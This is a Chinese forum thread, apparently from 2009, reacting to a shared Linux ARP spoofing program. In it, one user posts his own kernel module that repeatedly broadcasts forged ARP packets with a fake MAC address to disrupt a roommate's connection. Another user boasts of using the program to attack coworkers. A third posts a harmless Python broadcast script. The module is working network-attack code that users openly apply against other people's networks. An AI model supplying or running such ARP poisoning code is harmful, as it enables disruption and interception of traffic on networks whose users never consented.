共享：linux arp 欺骗程序

arlikiss

这几天正在完这类东西，一会测试一下！！

jerrymy

对windows有用吗

Godbach

拿着代码改改，应该可以用于WIN

lll0905

大佬,有错别字:


177   /* get the ip address of gateway. */
178   if ((in_addr_t) -1 == (gateway_addr = gateway_on_nic (ifindex)))
179     {
180
     fprintf (stderr, "can'f find getway.\n");                        
                                                              
181       goto close_sock;
182     }

[ 本帖最后由 lll0905 于 2009-11-6 16:53 编辑 ]

tanrui206

感谢分享!

Arthur_

hello, 各位， 我房子是合猪的， 有个人经常BT, 导致我dota 吊线分一直减.

今天是在气不过 就想整整它, 想到了最简单的免费arp, google下居然到了这里.
哈哈. 在此谢过. 不过在我的机器上跑有点小问题, 一执行程序终端像死机, cpu又点高, sorry我用的是虚拟机, 所以的我就临时写了粗糙的内核版的发送免费arp, 时间仓促没有, 代码有点丑, 最终的效果是达到了,(但那个SX 过一会去重启下路尤其, 哎....)


ONLY YOU, .... 不啰嗦了.

我在rmmod的时候 偶尔死机, 自己猜测是我rmmod后, timer有可能又开始运行执行我的handle, 在handle里mod_timer导致的,不知道对不对, 大家是怎么解决这个问题的呢? 代码如下:

1. #include <linux/module.h>
   
2. #include <linux/kernel.h>
   
3. #include <linux/if_arp.h>
   
4. #include <net/flow.h>
   
5. #include <net/route.h>
   
6. #include <net/arp.h>
   
7. #include <linux/inetdevice.h>
   
8. 
   
9. #define ARP_ALLOW        1
   
10. #define ARP_DENY 2       
    
11. 
    
12. 
    
13. #define ARP_INTERVAL 2
    
14. 
    
15. static struct arp_control{
    
16.         u16                        flags;
    
17.         u32                        ip;
    
18.         struct timer_list        timer;
    
19. }arp_cb;
    
20. 
    
21. static void arp_timer(unsigned long data)
    
22. {
    
23.         struct rtable        *rt;
    
24.         struct flowi         fl;
    
25.         u8 mac[6] = {0x90, 0xeb, 0xba, 0x00, 0x6f, 0xb8};
    
26. 
    
27.         if (!arp_cb.ip)
    
28.                 goto passby;
    
29.        
    
30.         memset(&fl, 0, sizeof(fl));
    
31.         fl.nl_u.ip4_u.daddr = arp_cb.ip;
    
32.         if (ip_route_output_key(&rt, &fl)){
    
33.                 printk("there's no route for this\n");
    
34.                 goto passby;
    
35.         }
    
36.        
    
37.         arp_send(ARPOP_REQUEST, ETH_P_ARP, arp_cb.ip, rt->idev->dev, arp_cb.ip,
    
38.                 NULL, mac, mac);
    
39. 
    
40.         ip_rt_put(rt);
    
41.        
    
42. passby:
    
43.         mod_timer(&arp_cb.timer, jiffies + ARP_INTERVAL*HZ);       
    
44. }
    
45. 
    
46. static int __init arp2_init(void)
    
47. {
    
48.         arp_cb.flags = ARP_DENY;
    
49.         arp_cb.ip = 0x8700a8c0;
    
50.         init_timer(&arp_cb.timer);
    
51.         arp_cb.timer.function = arp_timer;
    
52.         arp_cb.timer.data = 0;
    
53.         arp_cb.timer.expires = jiffies + HZ*ARP_INTERVAL;
    
54. 
    
55.         add_timer(&arp_cb.timer);
    
56.         return 0;
    
57. }
    
58. 
    
59. static void __exit arp2_exit(void)
    
60. {
    
61.         del_timer_sync(&arp_cb.timer);
    
62. }
    
63. 
    
64. MODULE_LICENSE("GPL");
    
65. module_init(arp2_init);
    
66. module_exit(arp2_exit);

复制代码

[ 本帖最后由 Arthur_ 于 2009-11-7 23:15 编辑 ]

zhanglistar

有几个地方不太懂   
一个是
struct rawarp
{
  struct ethhdr eh;
  struct ether_arp msg;
}__attribute__((packed));
还有一个是
  char buffer_request[BUFFERSIZE_REQUEST]__attribute__((aligned (NLMSG_ALIGNTO)));

前面的__attribute__是什么意思呢？
后面的buffer_request后面还有__attribute__是什么意思？？？？

找不着南

强大的LZ，膜拜之……

koolcoy

跟我合租的不知道是哪个sb就喜欢搞网关arp欺骗,他一搞我就执行下面这个python程序,过大约10分钟他就不搞了

1. 
   
2. #!/usr/bin/env python
   
3. 
   
4. import sys
   
5. import socket
   
6. 
   
7. def main():
   
8.         sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
   
9.         sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
   
10.         while True:
    
11.                 sock.sendto("wang guan di zhi shi 00:xx:xx:xx:xx:xx, bie gao le, SB", ("255.255.255.255", 4444))
    

复制代码

python是个好同志啊

creatory

该程序不错，我顺利攻击了好几个同事，哈哈，然后让他们请我吃饭，谢谢了